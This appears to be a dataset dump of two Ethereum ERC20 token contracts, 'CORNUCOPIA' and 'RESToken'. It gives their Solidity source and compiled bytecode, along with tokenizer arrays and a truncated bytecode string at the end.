// SPDX-License-Identifier: MIT /* $URUS is the governance token of the ERC20 Ecosystem $WAGYU staking control token $CORNUCOPIA bridge nexus control token t.me/Cornucopia_Urus 3 of 7 */ pragma solidity ^0.8.2; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract CORNUCOPIA is ERC20, Pausable, Ownable { constructor() ERC20("CORNUCOPIA - t.me/Cornucopia_Urus", "CORNUCOPIA") { _mint(msg.sender, 10000000 * 10 ** decimals()); } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal whenNotPaused override { super._beforeTokenTransfer(from, to, amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a257806395d89b411161007157806395d89b41146101ff578063a457c2d714610207578063a9059cbb1461021a578063dd62ed3e1461022d578063f2fde38b146102665761010b565b806370a08231146101ad578063715018a6146101c05780638456cb59146101c85780638da5cb5b146101d05761010b565b8063313ce567116100de578063313ce5671461017657806339509351146101855780633f4ba83a146101985780635c975abb146101a25761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015157806323b872dd14610163575b600080fd5b610118610279565b6040516101259190610bb1565b60405180910390f35b61014161013c366004610b88565b61030b565b6040519015158152602001610125565b6002545b604051908152602001610125565b610141610171366004610b4d565b610321565b60405160128152602001610125565b610141610193366004610b88565b6103d0565b6101a061040c565b005b60055460ff16610141565b6101556101bb366004610afa565b610446565b6101a0610465565b6101a061049f565b6101e760055461010090046001600160a01b031690565b6040516001600160a01b039091168152602001610125565b6101186104d7565b610141610215366004610b88565b6104e6565b610141610228366004610b88565b61057f565b61015561023b366004610b1b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6101a0610274366004610afa565b61058c565b60606003805461028890610c5d565b80601f01602080910402602001604051908101604052809291908181526020018280546102b490610c5d565b80156103015780601f106102d657610100808354040283529160200191610301565b820191906000526020600020905b8154815290600101906020018083116102e457829003601f168201915b5050505050905090565b6000610318338484610632565b50600192915050565b600061032e848484610756565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156103b85760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103c58533858403610632565b506001949350505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610318918590610407908690610c39565b610632565b6005546001600160a01b0361010090910416331461043c5760405162461bcd60e51b81526004016103af90610c04565b610444610930565b565b6001600160a01b0381166000908152602081905260409020545b919050565b6005546001600160a01b036101009091041633146104955760405162461bcd60e51b81526004016103af90610c04565b61044460006109c3565b6005546001600160a01b036101009091041633146104cf5760405162461bcd60e51b81526004016103af90610c04565b610444610a1d565b60606004805461028890610c5d565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156105685760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103af565b6105753385858403610632565b5060019392505050565b6000610318338484610756565b6005546001600160a01b036101009091041633146105bc5760405162461bcd60e51b81526004016103af90610c04565b6001600160a01b0381166106215760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103af565b61062a816109c3565b50565b505050565b6001600160a01b0383166106945760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103af565b6001600160a01b0382166106f55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103af565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107ba5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103af565b6001600160a01b03821661081c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103af565b610827838383610a98565b6001600160a01b0383166000908152602081905260409020548181101561089f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103af565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906108d6908490610c39565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161092291815260200190565b60405180910390a350505050565b60055460ff166109795760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b60448201526064016103af565b6005805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b600580546001600160a01b03838116610100818102610100600160a81b031985161790945560405193909204169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60055460ff1615610a635760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016103af565b6005805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586109a63390565b60055460ff1615610ade5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016103af565b61062d565b80356001600160a01b038116811461046057600080fd5b600060208284031215610b0b578081fd5b610b1482610ae3565b9392505050565b60008060408385031215610b2d578081fd5b610b3683610ae3565b9150610b4460208401610ae3565b90509250929050565b600080600060608486031215610b61578081fd5b610b6a84610ae3565b9250610b7860208501610ae3565b9150604084013590509250925092565b60008060408385031215610b9a578182fd5b610ba383610ae3565b946020939093013593505050565b6000602080835283518082850152825b81811015610bdd57858101830151858201604001528201610bc1565b81811115610bee5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610c5857634e487b7160e01b81526011600452602481fd5b500190565b600281046001821680610c7157607f821691505b60208210811415610c9257634e487b7160e01b600052602260045260246000fd5b5091905056fea26469706673582212201c683f06fefb0891fdaa79b5d8ab34e3191a1ab73aadd77e859fc8eb40487ab164736f6c63430008020033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 27814, 2094, 2629, 2497, 20958, 19841, 2683, 2683, 14526, 2546, 8889, 21084, 2278, 24434, 26224, 2575, 15136, 2581, 2620, 2278, 2620, 2581, 2497, 22907, 2278, 2487, 2050, 2575, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1002, 24471, 2271, 2003, 1996, 10615, 19204, 1997, 1996, 9413, 2278, 11387, 16927, 1002, 11333, 6292, 2226, 2358, 15495, 2491, 19204, 1002, 9781, 14194, 7361, 2401, 2958, 26041, 2491, 19204, 1056, 1012, 2033, 1013, 9781, 14194, 7361, 2401, 1035, 24471, 2271, 1017, 1997, 1021, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1016, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 1012, 14017, 1000, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,695
0x958d686e740297176ecf61338d7030d789bc6576
pragma solidity ^0.4.17; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract SafeBasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; // Avoid Short Address Attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract SafeStandardToken is ERC20, SafeBasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract RESToken is SafeStandardToken { string public constant name = "RES"; string public constant symbol = "RES"; uint256 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 299000000 * (10 ** uint256(decimals)); function RESToken() public { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df5780632ff2e9dc14610264578063313ce5671461028f57806366188463146102ba57806370a082311461031f57806395d89b4114610376578063a9059cbb14610406578063d73dd6231461046b578063dd62ed3e146104d0575b600080fd5b3480156100cb57600080fd5b506100d4610547565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610580565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c9610672565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610678565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610964565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610972565b6040518082815260200191505060405180910390f35b3480156102c657600080fd5b50610305600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610977565b604051808215151515815260200191505060405180910390f35b34801561032b57600080fd5b50610360600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c08565b6040518082815260200191505060405180910390f35b34801561038257600080fd5b5061038b610c51565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cb5780820151818401526020810190506103b0565b50505050905090810190601f1680156103f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041257600080fd5b50610451600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c8a565b604051808215151515815260200191505060405180910390f35b34801561047757600080fd5b506104b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e77565b604051808215151515815260200191505060405180910390f35b3480156104dc57600080fd5b50610531600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611073565b6040518082815260200191505060405180910390f35b6040805190810160405280600381526020017f524553000000000000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156106b757600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061078883600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110fa90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061081d83600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461111390919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061087383826110fa90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffff